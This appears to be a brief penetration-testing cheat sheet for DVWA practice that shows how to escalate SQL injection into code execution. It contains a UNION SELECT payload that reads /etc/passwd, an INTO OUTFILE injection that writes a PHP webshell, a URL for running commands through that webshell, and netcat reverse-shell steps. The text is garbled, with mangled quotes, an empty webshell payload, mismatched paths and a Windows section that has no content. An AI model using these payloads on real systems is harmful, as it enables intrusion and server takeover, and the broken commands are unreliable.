SQLi to code execution
For command exection / revshells , URL encode the payoload
#Capitalized, unix target
β UNION SELECT 1, load_file(/etc/passwd) #
#Using into OUTFILE fucntion to upload a webshell
Gotta find the webroot first, in this case we use /var/www
#inject:
'union select 1,ββ INTO OUTFILE β/var/www/dvwa/cmd.phpβ #
#Get command execution to further enumerate targets
http://11.11.11.11/dwa/cmd.php?cmd=id
#Using perl to get a reverse shell (use bash/python etc..)
Serve the reverse shell from kali /tmp using http.server
Trigger:
http://11.11.11.11/dwa/cmd.php?cmd=ls /tmp
Catch the revshell:
nc -nvlp 443
#Windows targets
#Practice the basics with
Last updated